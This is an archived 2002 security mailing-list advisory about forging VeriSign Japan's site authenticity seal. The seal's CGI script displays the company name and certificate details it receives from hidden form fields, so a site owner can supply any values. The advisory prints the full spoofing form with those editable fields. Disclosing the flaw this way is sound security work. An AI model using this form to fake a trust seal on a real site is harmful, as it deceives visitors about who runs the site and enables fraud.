[NEWS] Falsifying a VeriSign Seal (Japan)
From: support@securiteam.comDate: 06/28/02
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From: support@securiteam.com To: list@securiteam.com Date: Fri, 28 Jun 2002 09:41:30 +0200 (CEST)
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Falsifying a VeriSign Seal (Japan)
------------------------------------------------------------------------
SUMMARY
Vagabond has reported a problem in the Japanese version of VeriSign
provided seals. The problem allows a malicious site owner to create an
authenticity seal (false one) for his site without it being actually
issued by VeriSign.
DETAILS
VeriSign's Seal displays parameters when it transfers them from the form
to CGI script. At this point the company name and other information used
in authentication, which is hidden in the form but displayed when the
authentication process is complete, is transferred. Thus, the
authentication window used by VeriSign's seal can be spoofed by preparing
a page set with the hidden elements containing the information the
attacker wants to spoof.
For your reference, the HTML source code for the form portion is appended
at the end of this message.
Which VeriSign's are vulnerable?
We cannot confirm the problem in VeriSign's other than VeriSign Japan. It
also should be noted that VeriSign.com (US version) seems to use a
different method of showing authenticity seals.
Exploit:
Appended below is the source code for the VeriSign form. Virtually all of
the hidden information can be rewritten. All of the content rewritten onto
VeriSign Japan's authentication window is clearly displayed.
<INPUT type=hidden name="VS_ORGANIZATION" value="USO-DAPYON">
For example, "USO-DAPYON" in value ="USO-DAPYON" in the above string can
be displayed by rewriting it to a different character string.
<FORM NAME=form1 METHOD=POST
ACTION="https://www.verisign.co.jp/cgi-bin/Seal.exe"><INPUT type=hidden
name="VHTML_FILE" value="../htmldocs/query/authCertDisplay.htm"><INPUT
type=hidden name="STATUS" value="0">
<INPUT type=hidden name="qmRowOffset" value="">
<INPUT type=hidden name="qmStartRecNumber" value="">
<INPUT type=hidden name="qmRecNumber" value="">
<INPUT type=hidden name="VS_ORGANIZATION" value="USO-DAPYON">
<INPUT type=hidden name="form_file" value="../fdf/authCertByIssuer.fdf">
<INPUT type=hidden name="PIPE" value="QUERY_MANAGER">
<INPUT type=hidden name="VS_VALID_END" value="99-MAR-99">
<INPUT type=hidden name="qmCompileAlways" value="yes">
<INPUT type=hidden name="unstructured_addr" value="">
<INPUT type=hidden name="CERT_MSG" value="">
<INPUT type=hidden name="VS_CERT_SERIAL" value="">
<INPUT type=hidden name="VS_CERT_FLAGS" value="0">
<INPUT type=hidden name="VS_STATUS" value="Valid">
<INPUT type=hidden name="url_encode" value="no">
<INPUT type=hidden name="issuerSerial2" value="">
<INPUT type=hidden name="SDATE" value="">
<INPUT type=hidden name="ip_address" value="172.16.185.00">
<INPUT type=hidden name="VS_SUBJECT_READABLE" value="Country = JP<BR>
State = Tokyo<BR>Locality = USO <BR>Organizational Unit = Terms of use at
www.verisign.co.jp/RPA (c)00<BR>Organizational Unit = Authenticated by
VeriSign Japan K.K.<BR>Organizational Unit = Member, VeriSign Trust
Network<BR>Organization = USO Inc.<BR>Organizational Unit = Web System
Div.<BR>Common Name = www.USO-DAPYON.co.jp">
<INPUT type=hidden name="qmStartRecNumber" value="1">
<INPUT type=hidden name="application" value="Mozilla/4.78 [ja] (Windows NT
5.0; U)">
<INPUT type=hidden name="qmRecNumber" value="2">
<INPUT type=hidden name="VS_PRODUCT_NAME" value="Digital ID Class 3 -
Affiliate Global Server AuthCenter">
<INPUT type=hidden name="remote_host"
value="https://www.verisign.co.jp/cgi-bin/siteseal.exe">
<INPUT type=hidden name="common_name" value="">
<INPUT type=hidden name="error_status" value="4000">
<INPUT type=hidden name="VS_VALID_START" value="99-MAR-99">
<INPUT type=hidden name="card_expire" value="">
<INPUT type=hidden name="Template" value="authCertByIssuer">
<INPUT type=hidden name="issuerSerial" value="">
<INPUT type=hidden name="ENDDATE" value="">
<INPUT type=hidden name="server_URL"
value="https://servicecenter.verisign.com">
<INPUT type=hidden name="VS_COMMON_NAME" value="WWW.USO-DAPYON.CO.JP">
<INPUT type=hidden name="END" value="YES">
<INPUT SRC="https://www.verisign.co.jp/images/siteseal/VeriSignSeal.gif"
TYPE="image" border=0></FORM>
ADDITIONAL INFORMATION
The information has been provided by <http://www.vagabond.co.jp>
Vagabond.
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- Previous message: support@securiteam.com: "[UNIX] How to Reproduce the OpenSSH Overflow (Challenge Response Handling)"
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Relevant Pages
- Falsifying a VeriSign Seal (Japan)
... Vagabond has reported a problem in the Japanese version of VeriSign provided ...
The problem allows a malicious site owner to create an authenticity ... authentication
process is complete, is transferred. ... method of showing authenticity seals. ...
(Bugtraq) - Re: Secure website - explanation required.
... Still rather unsure about which options to choose regarding bit length and ...
particularly regarding authentication by VeriSign (or equivalent ... Griff
... (microsoft.public.inetserver.misc) - Re: Secure website - explanation required.
... Still rather unsure about which options to choose regarding bit length and ...
particularly regarding authentication by VeriSign (or equivalent ... Griff
... (microsoft.public.inetserver.iis) - Re: Secure website - explanation required.
... Still rather unsure about which options to choose regarding bit length and ...
particularly regarding authentication by VeriSign (or equivalent ... Griff
... (microsoft.public.inetserver.iis.security)